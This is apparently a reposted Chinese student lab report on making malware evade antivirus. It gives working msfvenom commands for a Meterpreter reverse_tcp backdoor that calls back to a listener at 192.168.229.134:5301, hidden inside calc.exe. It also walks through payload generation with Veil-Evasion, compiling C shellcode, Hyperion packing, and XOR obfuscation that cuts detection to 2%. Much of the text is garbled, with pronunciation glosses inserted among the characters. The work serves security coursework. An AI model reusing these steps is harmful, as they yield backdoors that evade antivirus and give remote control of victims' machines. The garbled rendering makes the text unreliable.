20155301实验三 免杀原理与实践
20155301實(shí)驗(yàn)三 免殺原理與實(shí)踐
實(shí)驗(yàn)內(nèi)容
1 正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧;
2 通過(guò)組合應(yīng)用各種技術(shù)實(shí)現(xiàn)惡意代碼免殺
3 用另一電腦實(shí)測(cè),在殺軟開啟的情況下,可運(yùn)行并回連成功,注明電腦的殺軟名稱與版本
基礎(chǔ)問(wèn)題回答
1.殺軟是如何檢測(cè)出惡意代碼的?
答: 對(duì)惡意代碼的文件屬性、編程語(yǔ)言、字符串特征、輸入函數(shù)、系統(tǒng)和網(wǎng)絡(luò)的行為特征進(jìn)行了分析,然后,通過(guò)挖掘Windows系統(tǒng)各種與進(jìn)程相關(guān)的數(shù)據(jù)結(jié)構(gòu)進(jìn)行檢測(cè)。
2.免殺是做什么?
答: 免殺將木馬或病毒進(jìn)行隱藏,偽裝成正常軟件,防止被殺毒軟件發(fā)現(xiàn)并刪除的技術(shù)。
3.免殺的基本方法有哪些?
答: 1. 二進(jìn)制的免殺(無(wú)源碼),只能通過(guò)通過(guò)修改asm代碼/二進(jìn)制數(shù)據(jù)/其他數(shù)據(jù)來(lái)完成免殺。
實(shí)踐總結(jié)與體會(huì)
此次實(shí)驗(yàn)是在上次的基礎(chǔ)上進(jìn)行的,比上一次的實(shí)驗(yàn)所用的后門,此次嘗試修改的后門更加隱蔽,可以不被及部分的殺毒軟件查殺,此次學(xué)習(xí)的免殺的技術(shù)也讓我認(rèn)識(shí)到了網(wǎng)絡(luò)中的不安全性,更讓我對(duì)于殺毒軟件的殺毒技術(shù)有些好奇,為什么這么簡(jiǎn)單就能產(chǎn)生的后門軟件卻能避過(guò)市面上流行的大部分殺毒軟件,希望在之后的學(xué)習(xí)中能多學(xué)習(xí)一些殺毒技術(shù)來(lái)保障我們的信息安全。
離實(shí)戰(zhàn)還缺些什么技術(shù)或步驟
免殺的技術(shù)還是有些單一,所完成的免殺的后門雖然不會(huì)被大部分殺毒軟件發(fā)現(xiàn),但是還有有可以發(fā)現(xiàn)免殺的后門程序的殺毒軟件,我認(rèn)為還缺少更加復(fù)雜的技術(shù)或者尋找一個(gè)利用各種免殺技術(shù)配合產(chǎn)生后門的方法,來(lái)進(jìn)一步提高免殺率。
實(shí)驗(yàn)過(guò)程
1.測(cè)試上次實(shí)驗(yàn)產(chǎn)生的后門能不能被殺毒軟件查殺出來(lái)。
選擇的測(cè)試網(wǎng)站是Virscan,在對(duì)上次后門重命名之后,進(jìn)行測(cè)試,有近一半的殺毒軟件可以檢測(cè)出來(lái)。
2.使用msf編碼器,msfvenom生成如jar之類的其他文件。
2.1 Msfvenom是Metasploit平臺(tái)下用來(lái)編碼payloads免殺的工具,msfvenom命令行選項(xiàng)如下
-p,指定需要使用的payload(攻擊荷載)。如果需要使用自定義的payload,請(qǐng)使用'-'或者stdin指定。 -f,指定輸出格式 (使用 --help-formats 來(lái)獲取msf支持的輸出格式列表) -e,指定需要使用的encoder(編碼器) -a,指定payload的目標(biāo)架構(gòu),指定payload的目標(biāo)平臺(tái) -b,設(shè)定規(guī)避字符集,比如: '\x00\xff' -i,指定payload的編碼次數(shù) -x,指定一個(gè)自定義的可執(zhí)行文件作為模板2.2 利用計(jì)算器程序作為可執(zhí)行文件的模板生成payload
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.229.134 LPORT=5301 -x calc.exe -f exe > met-encoded.exe測(cè)試結(jié)果如下:
3.veil-evasion,自己利用shellcode編程等免殺工具或技巧。
3.1 安裝veil-evasion
Veil-Evasion是一個(gè)免殺平臺(tái),與Metasploit有點(diǎn)類似,在Kalil軟件庫(kù)中有,但默認(rèn)沒(méi)裝,需要我們自己安裝,但是在安裝過(guò)程中總會(huì)出現(xiàn)缺失幾個(gè)軟件包導(dǎo)致無(wú)法成功安裝的問(wèn)題,在反復(fù)嘗試之后,選擇了老師的虛擬機(jī)作為實(shí)驗(yàn)環(huán)境。
3.2 安裝成功后,在Kali的終端輸入veil進(jìn)入Veil,之后輸入list
3.3 輸入use,選擇Evasion
3.4 輸入list payloads之后選擇自己想要的語(yǔ)言,我第一次嘗試的是比較熟悉的c語(yǔ)言,所以輸入use 8
3.5 設(shè)置IP和端口,然后generate
3.6 出現(xiàn)下圖所示,其中記下生成的文件存儲(chǔ)的路徑
3.7 放到網(wǎng)站上掃描下,然后開始回連,回連成功
4.C語(yǔ)言調(diào)用Shellcode
4.1 利用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.134 LPORT=5301 -f c生成一個(gè)c語(yǔ)言格式的Shellcode數(shù)組
4.2 利用i686-w64-mingw32-g++ met.c -o met.exe在Linux平臺(tái)交叉編譯Windows應(yīng)用
4.3 復(fù)制到windows平臺(tái)下,發(fā)現(xiàn)打不開
4.4 用VS編譯生成了一個(gè)exe,測(cè)試回連
5.通過(guò)組合應(yīng)用各種技術(shù)實(shí)現(xiàn)惡意代碼免殺
5.1 找到veil-evasion下hyperion文件夾,進(jìn)行操作
5.2 輸入命令wine hyperion.exe -v 5301.exe 5301upx.exe
5.3 放到網(wǎng)站測(cè)試
6.修改代碼提高免殺率
6.1 嘗試對(duì)原shellcode異或0x01,異或之后再對(duì)字符串?dāng)?shù)組進(jìn)行倒置操作,然后在代碼中需要先進(jìn)行倒置,即恢復(fù)原本異或01后的字符串?dāng)?shù)組,再異或01,可以返回原本的shellcode,希望通過(guò)修改shellcode原本的樣子,降低其通過(guò)特征庫(kù)查殺的概率,可以和殺軟共存實(shí)現(xiàn)免殺,放到virscan上也只有2%的報(bào)毒率。
轉(zhuǎn)載于:https://www.cnblogs.com/fengxingck/p/8778529.html
總結(jié)
以上是生活随笔為你收集整理的20155301实验三 免杀原理与实践的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: InstallShield Build
- 下一篇: 遍历文件夹下的子文件夹的时候,文件夹名字